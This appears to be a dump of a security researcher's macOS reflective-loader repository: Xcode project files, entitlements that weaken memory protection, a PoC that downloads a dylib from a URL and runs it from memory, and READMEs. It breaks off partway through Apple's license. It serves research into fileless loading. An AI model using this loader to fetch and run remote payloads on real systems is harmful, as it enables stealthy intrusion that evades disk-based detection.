├── .gitignore ├── Distribute ├── PoC ├── libloader.a └── libpayload.dylib ├── PoC ├── PoC.xcodeproj │ ├── project.pbxproj │ ├── project.xcworkspace │ │ └── contents.xcworkspacedata │ └── xcshareddata │ │ └── xcschemes │ │ └── PoC.xcscheme ├── PoC │ ├── PoC.entitlements │ ├── custom_dlfcn.h │ └── main.mm └── README.md ├── README.md ├── ReflectiveLoader.xcworkspace └── contents.xcworkspacedata ├── loader ├── APPLE_LICENSE ├── CMakeLists.txt ├── README.md ├── build │ └── libloader.a ├── include │ ├── custom_dlfcn.h │ └── mach-o │ │ ├── dyld-interposing.h │ │ ├── dyld.h │ │ ├── dyld.modulemap │ │ ├── dyld_images.h │ │ ├── dyld_priv.h │ │ ├── dyld_process_info.h │ │ └── fixup-chains.h ├── loader.xcodeproj │ ├── project.pbxproj │ └── project.xcworkspace │ │ └── contents.xcworkspacedata └── src │ ├── Array.h │ ├── ImageLoader.cpp │ ├── ImageLoader.h │ ├── ImageLoaderMachO.cpp │ ├── ImageLoaderMachO.h │ ├── ImageLoaderMachOCompressed.cpp │ ├── ImageLoaderMachOCompressed.h │ ├── ImageLoaderProxy.cpp │ ├── ImageLoaderProxy.h │ ├── Map.h │ ├── Tracing.h │ ├── custom_dlfcn.cpp │ ├── dyld_stubs.cpp │ └── dyld_stubs.h └── payload ├── README.md ├── payload.m └── payload.xcodeproj ├── project.pbxproj └── project.xcworkspace └── contents.xcworkspacedata /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | xcuserdata/ 3 | 4 | -------------------------------------------------------------------------------- /Distribute/PoC: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwardle/ReflectiveLoader/676d1baca3db7f88817e47db457c5aaa58a867b5/Distribute/PoC -------------------------------------------------------------------------------- /Distribute/libloader.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwardle/ReflectiveLoader/676d1baca3db7f88817e47db457c5aaa58a867b5/Distribute/libloader.a -------------------------------------------------------------------------------- /Distribute/libpayload.dylib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwardle/ReflectiveLoader/676d1baca3db7f88817e47db457c5aaa58a867b5/Distribute/libpayload.dylib -------------------------------------------------------------------------------- /PoC/PoC.xcodeproj/project.pbxproj: -------------------------------------------------------------------------------- 1 | // !$*UTF8*$! 2 | { 3 | archiveVersion = 1; 4 | classes = { 5 | }; 6 | objectVersion = 56; 7 | objects = { 8 | 9 | /* Begin PBXBuildFile section */ 10 | CD04F5F72D11230400666D7A /* libloader.dylib in Frameworks */ = {isa = PBXBuildFile; fileRef = CD04F5F62D11230400666D7A /* libloader.dylib */; }; 11 | CD04F5F82D11230400666D7A /* libloader.dylib in Embed Libraries */ = {isa = PBXBuildFile; fileRef = CD04F5F62D11230400666D7A /* libloader.dylib */; settings = {ATTRIBUTES = (CodeSignOnCopy, ); }; }; 12 | CDEDEC5B2C702C4B0041D7B8 /* main.mm in Sources */ = {isa = PBXBuildFile; fileRef = CDEDEC5A2C702C4B0041D7B8 /* main.mm */; }; 13 | /* End PBXBuildFile section */ 14 | 15 | /* Begin PBXCopyFilesBuildPhase section */ 16 | CDA541BD2D1122E500E7990C /* Embed Libraries */ = { 17 | isa = PBXCopyFilesBuildPhase; 18 | buildActionMask = 2147483647; 19 | dstPath = ""; 20 | dstSubfolderSpec = 10; 21 | files = ( 22 | CD04F5F82D11230400666D7A /* libloader.dylib in Embed Libraries */, 23 | ); 24 | name = "Embed Libraries"; 25 | runOnlyForDeploymentPostprocessing = 0; 26 | }; 27 | CDEDEC552C702C4B0041D7B8 /* CopyFiles */ = { 28 | isa = PBXCopyFilesBuildPhase; 29 | buildActionMask = 2147483647; 30 | dstPath = /usr/share/man/man1/; 31 | dstSubfolderSpec = 0; 32 | files = ( 33 | ); 34 | runOnlyForDeploymentPostprocessing = 1; 35 | }; 36 | /* End PBXCopyFilesBuildPhase section */ 37 | 38 | /* Begin PBXFileReference section */ 39 | CD04F5F62D11230400666D7A /* libloader.dylib */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.dylib"; path = libloader.dylib; sourceTree = BUILT_PRODUCTS_DIR; }; 40 | CDEDEC572C702C4B0041D7B8 /* PoC */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.executable"; includeInIndex = 0; path = PoC; sourceTree = BUILT_PRODUCTS_DIR; }; 41 | CDEDEC5A2C702C4B0041D7B8 /* main.mm */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.objcpp; path = main.mm; sourceTree = ""; }; 42 | CDEDEC632C702CA80041D7B8 /* custom_dlfcn.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = custom_dlfcn.h; sourceTree = ""; }; 43 | /* End PBXFileReference section */ 44 | 45 | /* Begin PBXFrameworksBuildPhase section */ 46 | CDEDEC542C702C4B0041D7B8 /* Frameworks */ = { 47 | isa = PBXFrameworksBuildPhase; 48 | buildActionMask = 2147483647; 49 | files = ( 50 | CD04F5F72D11230400666D7A /* libloader.dylib in Frameworks */, 51 | ); 52 | runOnlyForDeploymentPostprocessing = 0; 53 | }; 54 | /* End PBXFrameworksBuildPhase section */ 55 | 56 | /* Begin PBXGroup section */ 57 | CDA541B52D11229400E7990C /* Frameworks */ = { 58 | isa = PBXGroup; 59 | children = ( 60 | CD04F5F62D11230400666D7A /* libloader.dylib */, 61 | ); 62 | name = Frameworks; 63 | sourceTree = ""; 64 | }; 65 | CDEDEC4E2C702C4B0041D7B8 = { 66 | isa = PBXGroup; 67 | children = ( 68 | CDEDEC592C702C4B0041D7B8 /* PoC */, 69 | CDA541B52D11229400E7990C /* Frameworks */, 70 | CDEDEC582C702C4B0041D7B8 /* Products */, 71 | ); 72 | sourceTree = ""; 73 | }; 74 | CDEDEC582C702C4B0041D7B8 /* Products */ = { 75 | isa = PBXGroup; 76 | children = ( 77 | CDEDEC572C702C4B0041D7B8 /* PoC */, 78 | ); 79 | name = Products; 80 | sourceTree = ""; 81 | }; 82 | CDEDEC592C702C4B0041D7B8 /* PoC */ = { 83 | isa = PBXGroup; 84 | children = ( 85 | CDEDEC5A2C702C4B0041D7B8 /* main.mm */, 86 | CDEDEC632C702CA80041D7B8 /* custom_dlfcn.h */, 87 | ); 88 | path = PoC; 89 | sourceTree = ""; 90 | }; 91 | /* End PBXGroup section */ 92 | 93 | /* Begin PBXNativeTarget section */ 94 | CDEDEC562C702C4B0041D7B8 /* PoC */ = { 95 | isa = PBXNativeTarget; 96 | buildConfigurationList = CDEDEC5E2C702C4B0041D7B8 /* Build configuration list for PBXNativeTarget "PoC" */; 97 | buildPhases = ( 98 | CDEDEC532C702C4B0041D7B8 /* Sources */, 99 | CDEDEC542C702C4B0041D7B8 /* Frameworks */, 100 | CDEDEC552C702C4B0041D7B8 /* CopyFiles */, 101 | CDA541BD2D1122E500E7990C /* Embed Libraries */, 102 | ); 103 | buildRules = ( 104 | ); 105 | dependencies = ( 106 | ); 107 | name = PoC; 108 | productName = customLoader; 109 | productReference = CDEDEC572C702C4B0041D7B8 /* PoC */; 110 | productType = "com.apple.product-type.tool"; 111 | }; 112 | /* End PBXNativeTarget section */ 113 | 114 | /* Begin PBXProject section */ 115 | CDEDEC4F2C702C4B0041D7B8 /* Project object */ = { 116 | isa = PBXProject; 117 | attributes = { 118 | BuildIndependentTargetsInParallel = 1; 119 | LastUpgradeCheck = 1540; 120 | TargetAttributes = { 121 | CDEDEC562C702C4B0041D7B8 = { 122 | CreatedOnToolsVersion = 15.4; 123 | }; 124 | }; 125 | }; 126 | buildConfigurationList = CDEDEC522C702C4B0041D7B8 /* Build configuration list for PBXProject "PoC" */; 127 | compatibilityVersion = "Xcode 14.0"; 128 | developmentRegion = en; 129 | hasScannedForEncodings = 0; 130 | knownRegions = ( 131 | en, 132 | Base, 133 | ); 134 | mainGroup = CDEDEC4E2C702C4B0041D7B8; 135 | productRefGroup = CDEDEC582C702C4B0041D7B8 /* Products */; 136 | projectDirPath = ""; 137 | projectRoot = ""; 138 | targets = ( 139 | CDEDEC562C702C4B0041D7B8 /* PoC */, 140 | ); 141 | }; 142 | /* End PBXProject section */ 143 | 144 | /* Begin PBXSourcesBuildPhase section */ 145 | CDEDEC532C702C4B0041D7B8 /* Sources */ = { 146 | isa = PBXSourcesBuildPhase; 147 | buildActionMask = 2147483647; 148 | files = ( 149 | CDEDEC5B2C702C4B0041D7B8 /* main.mm in Sources */, 150 | ); 151 | runOnlyForDeploymentPostprocessing = 0; 152 | }; 153 | /* End PBXSourcesBuildPhase section */ 154 | 155 | /* Begin XCBuildConfiguration section */ 156 | CDEDEC5C2C702C4B0041D7B8 /* Debug */ = { 157 | isa = XCBuildConfiguration; 158 | buildSettings = { 159 | ALWAYS_SEARCH_USER_PATHS = NO; 160 | ASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES; 161 | CLANG_ANALYZER_NONNULL = YES; 162 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 163 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++20"; 164 | CLANG_ENABLE_MODULES = YES; 165 | CLANG_ENABLE_OBJC_ARC = YES; 166 | CLANG_ENABLE_OBJC_WEAK = YES; 167 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 168 | CLANG_WARN_BOOL_CONVERSION = YES; 169 | CLANG_WARN_COMMA = YES; 170 | CLANG_WARN_CONSTANT_CONVERSION = YES; 171 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; 172 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 173 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 174 | CLANG_WARN_EMPTY_BODY = YES; 175 | CLANG_WARN_ENUM_CONVERSION = YES; 176 | CLANG_WARN_INFINITE_RECURSION = YES; 177 | CLANG_WARN_INT_CONVERSION = YES; 178 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 179 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; 180 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 181 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 182 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; 183 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 184 | CLANG_WARN_STRICT_PROTOTYPES = YES; 185 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 186 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 187 | CLANG_WARN_UNREACHABLE_CODE = YES; 188 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 189 | COPY_PHASE_STRIP = NO; 190 | DEBUG_INFORMATION_FORMAT = dwarf; 191 | ENABLE_STRICT_OBJC_MSGSEND = YES; 192 | ENABLE_TESTABILITY = YES; 193 | ENABLE_USER_SCRIPT_SANDBOXING = YES; 194 | GCC_C_LANGUAGE_STANDARD = gnu17; 195 | GCC_DYNAMIC_NO_PIC = NO; 196 | GCC_NO_COMMON_BLOCKS = YES; 197 | GCC_OPTIMIZATION_LEVEL = 0; 198 | GCC_PREPROCESSOR_DEFINITIONS = ( 199 | "DEBUG=1", 200 | "$(inherited)", 201 | ); 202 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 203 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 204 | GCC_WARN_UNDECLARED_SELECTOR = YES; 205 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 206 | GCC_WARN_UNUSED_FUNCTION = YES; 207 | GCC_WARN_UNUSED_VARIABLE = YES; 208 | LOCALIZATION_PREFERS_STRING_CATALOGS = YES; 209 | MACOSX_DEPLOYMENT_TARGET = 14.5; 210 | MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE; 211 | MTL_FAST_MATH = YES; 212 | ONLY_ACTIVE_ARCH = YES; 213 | SDKROOT = macosx; 214 | }; 215 | name = Debug; 216 | }; 217 | CDEDEC5D2C702C4B0041D7B8 /* Release */ = { 218 | isa = XCBuildConfiguration; 219 | buildSettings = { 220 | ALWAYS_SEARCH_USER_PATHS = NO; 221 | ASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES; 222 | CLANG_ANALYZER_NONNULL = YES; 223 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 224 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++20"; 225 | CLANG_ENABLE_MODULES = YES; 226 | CLANG_ENABLE_OBJC_ARC = YES; 227 | CLANG_ENABLE_OBJC_WEAK = YES; 228 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 229 | CLANG_WARN_BOOL_CONVERSION = YES; 230 | CLANG_WARN_COMMA = YES; 231 | CLANG_WARN_CONSTANT_CONVERSION = YES; 232 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; 233 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 234 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 235 | CLANG_WARN_EMPTY_BODY = YES; 236 | CLANG_WARN_ENUM_CONVERSION = YES; 237 | CLANG_WARN_INFINITE_RECURSION = YES; 238 | CLANG_WARN_INT_CONVERSION = YES; 239 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 240 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; 241 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 242 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 243 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; 244 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 245 | CLANG_WARN_STRICT_PROTOTYPES = YES; 246 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 247 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 248 | CLANG_WARN_UNREACHABLE_CODE = YES; 249 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 250 | COPY_PHASE_STRIP = NO; 251 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; 252 | ENABLE_NS_ASSERTIONS = NO; 253 | ENABLE_STRICT_OBJC_MSGSEND = YES; 254 | ENABLE_USER_SCRIPT_SANDBOXING = YES; 255 | GCC_C_LANGUAGE_STANDARD = gnu17; 256 | GCC_NO_COMMON_BLOCKS = YES; 257 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 258 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 259 | GCC_WARN_UNDECLARED_SELECTOR = YES; 260 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 261 | GCC_WARN_UNUSED_FUNCTION = YES; 262 | GCC_WARN_UNUSED_VARIABLE = YES; 263 | LOCALIZATION_PREFERS_STRING_CATALOGS = YES; 264 | MACOSX_DEPLOYMENT_TARGET = 14.5; 265 | MTL_ENABLE_DEBUG_INFO = NO; 266 | MTL_FAST_MATH = YES; 267 | SDKROOT = macosx; 268 | }; 269 | name = Release; 270 | }; 271 | CDEDEC5F2C702C4B0041D7B8 /* Debug */ = { 272 | isa = XCBuildConfiguration; 273 | buildSettings = { 274 | CODE_SIGN_ENTITLEMENTS = PoC/PoC.entitlements; 275 | "CODE_SIGN_IDENTITY[sdk=macosx*]" = "-"; 276 | CODE_SIGN_STYLE = Manual; 277 | DEVELOPMENT_TEAM = ""; 278 | "DEVELOPMENT_TEAM[sdk=macosx*]" = ""; 279 | ENABLE_HARDENED_RUNTIME = YES; 280 | LIBRARY_SEARCH_PATHS = ( 281 | "$(inherited)", 282 | "$(PROJECT_DIR)", 283 | "$(PROJECT_DIR)/../loader/build", 284 | "$(PROJECT_DIR)/PoC", 285 | ); 286 | PRODUCT_BUNDLE_IDENTIFIER = com.foo.bar.loader; 287 | PRODUCT_NAME = "$(TARGET_NAME)"; 288 | PROVISIONING_PROFILE_SPECIFIER = ""; 289 | }; 290 | name = Debug; 291 | }; 292 | CDEDEC602C702C4B0041D7B8 /* Release */ = { 293 | isa = XCBuildConfiguration; 294 | buildSettings = { 295 | CODE_SIGN_ENTITLEMENTS = PoC/PoC.entitlements; 296 | "CODE_SIGN_IDENTITY[sdk=macosx*]" = "-"; 297 | CODE_SIGN_STYLE = Manual; 298 | DEVELOPMENT_TEAM = ""; 299 | "DEVELOPMENT_TEAM[sdk=macosx*]" = ""; 300 | ENABLE_HARDENED_RUNTIME = YES; 301 | LIBRARY_SEARCH_PATHS = ( 302 | "$(inherited)", 303 | "$(PROJECT_DIR)", 304 | "$(PROJECT_DIR)/../loader/build", 305 | "$(PROJECT_DIR)/PoC", 306 | ); 307 | PRODUCT_BUNDLE_IDENTIFIER = com.foo.bar.loader; 308 | PRODUCT_NAME = "$(TARGET_NAME)"; 309 | PROVISIONING_PROFILE_SPECIFIER = ""; 310 | }; 311 | name = Release; 312 | }; 313 | /* End XCBuildConfiguration section */ 314 | 315 | /* Begin XCConfigurationList section */ 316 | CDEDEC522C702C4B0041D7B8 /* Build configuration list for PBXProject "PoC" */ = { 317 | isa = XCConfigurationList; 318 | buildConfigurations = ( 319 | CDEDEC5C2C702C4B0041D7B8 /* Debug */, 320 | CDEDEC5D2C702C4B0041D7B8 /* Release */, 321 | ); 322 | defaultConfigurationIsVisible = 0; 323 | defaultConfigurationName = Release; 324 | }; 325 | CDEDEC5E2C702C4B0041D7B8 /* Build configuration list for PBXNativeTarget "PoC" */ = { 326 | isa = XCConfigurationList; 327 | buildConfigurations = ( 328 | CDEDEC5F2C702C4B0041D7B8 /* Debug */, 329 | CDEDEC602C702C4B0041D7B8 /* Release */, 330 | ); 331 | defaultConfigurationIsVisible = 0; 332 | defaultConfigurationName = Release; 333 | }; 334 | /* End XCConfigurationList section */ 335 | }; 336 | rootObject = CDEDEC4F2C702C4B0041D7B8 /* Project object */; 337 | } 338 | -------------------------------------------------------------------------------- /PoC/PoC.xcodeproj/project.xcworkspace/contents.xcworkspacedata: -------------------------------------------------------------------------------- 1 | 2 | 4 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /PoC/PoC.xcodeproj/xcshareddata/xcschemes/PoC.xcscheme: -------------------------------------------------------------------------------- 1 | 2 | 5 | 9 | 10 | 16 | 22 | 23 | 24 | 25 | 26 | 32 | 33 | 44 | 46 | 52 | 53 | 54 | 55 | 61 | 63 | 69 | 70 | 71 | 72 | 74 | 75 | 78 | 79 | 80 | -------------------------------------------------------------------------------- /PoC/PoC/PoC.entitlements: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | com.apple.security.cs.allow-unsigned-executable-memory 6 | 7 | com.apple.security.cs.disable-executable-page-protection 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /PoC/PoC/custom_dlfcn.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one 3 | * or more contributor license agreements. See the NOTICE file 4 | * distributed with this work for additional information 5 | * regarding copyright ownership. The ASF licenses this file 6 | * to you under the Apache License, Version 2.0 (the 7 | * "License"); you may not use this file except in compliance 8 | * with the License. You may obtain a copy of the License at 9 | * 10 | * http://www.apache.org/licenses/LICENSE-2.0 11 | * 12 | * Unless required by applicable law or agreed to in writing, 13 | * software distributed under the License is distributed on an 14 | * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | * KIND, either express or implied. See the License for the 16 | * specific language governing permissions and limitations 17 | * under the License. 18 | */ 19 | 20 | #ifndef __CUSTOM_DLFCN__ 21 | #define __CUSTOM_DLFCN__ 22 | 23 | #include 24 | 25 | #ifdef __cplusplus 26 | extern "C" { 27 | #endif 28 | 29 | extern int custom_dlclose(void* __handle); 30 | extern char* custom_dlerror(void); 31 | extern void* custom_dlopen(const char* __path, int __mode); 32 | extern void* custom_dlsym(void* __handle, const char* __symbol); 33 | extern void* custom_dlopen_from_memory(void* mh, int len); 34 | 35 | #ifdef __cplusplus 36 | } 37 | #endif 38 | 39 | #endif // __CUSTOM_DLFCN__ 40 | -------------------------------------------------------------------------------- /PoC/PoC/main.mm: -------------------------------------------------------------------------------- 1 | // 2 | // main.m 3 | // customLoader 4 | // 5 | 6 | #import 7 | #import 8 | #import 9 | 10 | #import "custom_dlfcn.h" 11 | 12 | int main(int argc, const char * argv[]) { 13 | 14 | void* handle = NULL; 15 | NSData* payload = nil; 16 | 17 | if(argc != 2) 18 | { 19 | printf("ERROR: please specify path/url to dylib (to load and execute from memory)\n\n"); 20 | return -1; 21 | } 22 | 23 | printf("\nmacOS Reflective Code Loader\n"); 24 | printf("(note: payload must be a mach-O bundle/framework/dylib (that does not use LC_DYLD_CHAINED_FIXUPS))\n\n"); 25 | 26 | sleep(0.5); 27 | 28 | if(strncmp(argv[1], "http", strlen("http")) == 0) { 29 | 30 | NSURL* url = nil; 31 | printf("[+] downloading from remote URL...\n"); 32 | 33 | url = [NSURL URLWithString:[NSString stringWithUTF8String:argv[1]]]; 34 | payload = [NSData dataWithContentsOfURL:url]; 35 | 36 | } else { 37 | 38 | NSString* path = nil; 39 | printf("[+] loading from file...\n"); 40 | 41 | path = [NSString stringWithUTF8String:argv[1]]; 42 | payload = [NSData dataWithContentsOfFile:path]; 43 | } 44 | 45 | //sanity 46 | if(0 == payload.length) 47 | { 48 | printf("ERROR: Failed to download or read payload into memory.\n\n"); 49 | exit(-1); 50 | } 51 | 52 | printf(" payload now in memory (size: %lu), ready for loading/linking...\n", static_cast(payload.length)); 53 | 54 | printf("\nPress any key to continue...\n"); 55 | getchar(); 56 | 57 | handle = custom_dlopen_from_memory((void*)payload.bytes, (int)payload.length); 58 | 59 | printf("\nDone!\nPress any key to exit...\n"); 60 | getchar(); 61 | 62 | return 0; 63 | } 64 | -------------------------------------------------------------------------------- /PoC/README.md: -------------------------------------------------------------------------------- 1 | This is a simple PoC that links against the reflective loader library (`libloader.a`) and reflectively loads payload from memory. 2 | 3 | Notes: 4 | 1. The library must be built with cmake 5 | 2. The PoC expects a remote or local payload to execute (payload must not use LC_DYLD_CHAINED_FIXUPS). 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ReflectiveLoader 2 | A Reflective Loader for macOS 3 | 4 | See: https://objective-see.org/blog/blog_0x7C.html 5 | -------------------------------------------------------------------------------- /ReflectiveLoader.xcworkspace/contents.xcworkspacedata: -------------------------------------------------------------------------------- 1 | 2 | 4 | 7 | 9 | 10 | 12 | 13 | 14 | 17 | 19 | 20 | 21 | 24 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /loader/APPLE_LICENSE: -------------------------------------------------------------------------------- 1 | APPLE PUBLIC SOURCE LICENSE 2 | Version 2.0 - August 6, 2003 3 | 4 | Please read this License carefully before downloading this software. 5 | By downloading or using this software, you are agreeing to be bound by 6 | the terms of this License. If you do not or cannot agree to the terms 7 | of this License, please do not download or use the software. 8 | 9 | 1. General; Definitions. This License applies to any program or other 10 | work which Apple Computer, Inc. ("Apple") makes publicly available and 11 | which contains a notice placed by Apple identifying such program or 12 | work as "Original Code" and stating that it is subject to the terms of 13 | this Apple Public Source License version 2.0 ("License"). As used in 14 | this License: 15 | 16 | 1.1 "Applicable Patent Rights" mean: (a) in the case where Apple is 17 | the grantor of rights, (i) claims of patents that are now or hereafter 18 | acquired, owned by or assigned to Apple and (ii) that cover subject 19 | matter contained in the Original Code, but only to the extent 20 | necessary to use, reproduce and/or distribute the Original Code 21 | without infringement; and (b) in the case where You are the grantor of 22 | rights, (i) claims of patents that are now or hereafter acquired, 23 | owned by or assigned to You and (ii) that cover subject matter in Your 24 | Modifications, taken alone or in combination with Original Code. 25 | 26 | 1.2 "Contributor" means any person or entity that creates or 27 | contributes to the creation of Modifications. 28 | 29 | 1.3 "Covered Code" means the Original Code, Modifications, the 30 | combination of Original Code and any Modifications, and/or any 31 | respective portions thereof. 32 | 33 | 1.4 "Externally Deploy" means: (a) to sublicense, distribute or 34 | otherwise make Covered Code available, directly or indirectly, to 35 | anyone other than You; and/or (b) to use Covered Code, alone or as 36 | part of a Larger Work, in any way to provide a service, including but 37 | not limited to delivery of content, through electronic communication 38 | with a client other than You. 39 | 40 | 1.5 "Larger Work" means a work which combines Covered Code or portions 41 | thereof with code not governed by the terms of this License. 42 | 43 | 1.6 "Modifications" mean any addition to, deletion from, and/or change 44 | to, the substance and/or structure of the Original Code, any previous 45 | Modifications, the combination of Original Code and any previous 46 | Modifications, and/or any respective portions thereof. When code is 47 | released as a series of files, a Modification is: (a) any addition to 48 | or deletion from the contents of a file containing Covered Code; 49 | and/or (b) any new file or other representation of computer program 50 | statements that contains any part of Covered Code. 51 | 52 | 1.7 "Original Code" means (a) the Source Code of a program or other 53 | work as originally made available by Apple under this License, 54 | including the Source Code of any updates or upgrades to such programs 55 | or works made available by Apple under this License, and that has been 56 | expressly identified by Apple as such in the header file(s) of such 57 | work; and (b) the object code compiled from such Source Code and 58 | originally made available by Apple under this License. 59 | 60 | 1.8 "Source Code" means the human readable form of a program or other 61 | work that is suitable for making modifications to it, including all 62 | modules it contains, plus any associated interface definition files, 63 | scripts used to control compilation and installation of an executable 64 | (object code). 65 | 66 | 1.9 "You" or "Your" means an individual or a legal entity exercising 67 | rights under this License. For legal entities, "You" or "Your" 68 | includes any entity which controls, is controlled by, or is under 69 | common control with, You, where "control" means (a) the power, direct 70 | or indirect, to cause the direction or management of such entity, 71 | whether by contract or otherwise, or (b) ownership of fifty percent 72 | (50%) or more of the outstanding shares or beneficial ownership of 73 | such entity. 74 | 75 | 2. Permitted Uses; Conditions & Restrictions. Subject to the terms 76 | and conditions of this License, Apple hereby grants You, effective on 77 | the date You accept this License and download the Original Code, a 78 | world-wide, royalty-free, non-exclusive license, to the extent of 79 | Apple's Applicable Patent Rights and copyrights covering the Original 80 | Code, to do the following: 81 | 82 | 2.1 Unmodified Code. You may use, reproduce, display, perform, 83 | internally distribute within Your organization, and Externally Deploy 84 | verbatim, unmodified copies of the Original Code, for commercial or 85 | non-commercial purposes, provided that in each instance: 86 | 87 | (a) You must retain and reproduce in all copies of Original Code the 88 | copyright and other proprietary notices and disclaimers of Apple as 89 | they appear in the Original Code, and keep intact all notices in the 90 | Original Code that refer to this License; and 91 | 92 | (b) You must include a copy of this License with every copy of Source 93 | Code of Covered Code and documentation You distribute or Externally 94 | Deploy, and You may not offer or impose any terms on such Source Code 95 | that alter or restrict this License or the recipients' rights 96 | hereunder, except as permitted under Section 6. 97 | 98 | 2.2 Modified Code. You may modify Covered Code and use, reproduce, 99 | display, perform, internally distribute within Your organization, and 100 | Externally Deploy Your Modifications and Covered Code, for commercial 101 | or non-commercial purposes, provided that in each instance You also 102 | meet all of these conditions: 103 | 104 | (a) You must satisfy all the conditions of Section 2.1 with respect to 105 | the Source Code of the Covered Code; 106 | 107 | (b) You must duplicate, to the extent it does not already exist, the 108 | notice in Exhibit A in each file of the Source Code of all Your 109 | Modifications, and cause the modified files to carry prominent notices 110 | stating that You changed the files and the date of any change; and 111 | 112 | (c) If You Externally Deploy Your Modifications, You must make 113 | Source Code of all Your Externally Deployed Modifications either 114 | available to those to whom You have Externally Deployed Your 115 | Modifications, or publicly available. Source Code of Your Externally 116 | Deployed Modifications must be released under the terms set forth in 117 | this License, including the license grants set forth in Section 3 118 | below, for as long as you Externally Deploy the Covered Code or twelve 119 | (12) months from the date of initial External Deployment, whichever is 120 | longer. You should preferably distribute the Source Code of Your 121 | Externally Deployed Modifications electronically (e.g. download from a 122 | web site). 123 | 124 | 2.3 Distribution of Executable Versions. In addition, if You 125 | Externally Deploy Covered Code (Original Code and/or Modifications) in 126 | object code, executable form only, You must include a prominent 127 | notice, in the code itself as well as in related documentation, 128 | stating that Source Code of the Covered Code is available under the 129 | terms of this License with information on how and where to obtain such 130 | Source Code. 131 | 132 | 2.4 Third Party Rights. You expressly acknowledge and agree that 133 | although Apple and each Contributor grants the licenses to their 134 | respective portions of the Covered Code set forth herein, no 135 | assurances are provided by Apple or any Contributor that the Covered 136 | Code does not infringe the patent or other intellectual property 137 | rights of any other entity. Apple and each Contributor disclaim any 138 | liability to You for claims brought by any other entity based on 139 | infringement of intellectual property rights or otherwise. As a 140 | condition to exercising the rights and licenses granted hereunder, You 141 | hereby assume sole responsibility to secure any other intellectual 142 | property rights needed, if any. For example, if a third party patent 143 | license is required to allow You to distribute the Covered Code, it is 144 | Your responsibility to acquire that license before distributing the 145 | Covered Code. 146 | 147 | 3. Your Grants. In consideration of, and as a condition to, the 148 | licenses granted to You under this License, You hereby grant to any 149 | person or entity receiving or distributing Covered Code under this 150 | License a non-exclusive, royalty-free, perpetual, irrevocable license, 151 | under Your Applicable Patent Rights and other intellectual property 152 | rights (other than patent) owned or controlled by You, to use, 153 | reproduce, display, perform, modify, sublicense, distribute and 154 | Externally Deploy Your Modifications of the same scope and extent as 155 | Apple's licenses under Sections 2.1 and 2.2 above. 156 | 157 | 4. Larger Works. You may create a Larger Work by combining Covered 158 | Code with other code not governed by the terms of this License and 159 | distribute the Larger Work as a single product. In each such instance, 160 | You must make sure the requirements of this License are fulfilled for 161 | the Covered Code or any portion thereof. 162 | 163 | 5. Limitations on Patent License. Except as expressly stated in 164 | Section 2, no other patent rights, express or implied, are granted by 165 | Apple herein. Modifications and/or Larger Works may require additional 166 | patent licenses from Apple which Apple may grant in its sole 167 | discretion. 168 | 169 | 6. Additional Terms. You may choose to offer, and to charge a fee for, 170 | warranty, support, indemnity or liability obligations and/or other 171 | rights consistent with the scope of the license granted herein 172 | ("Additional Terms") to one or more recipients of Covered Code. 173 | However, You may do 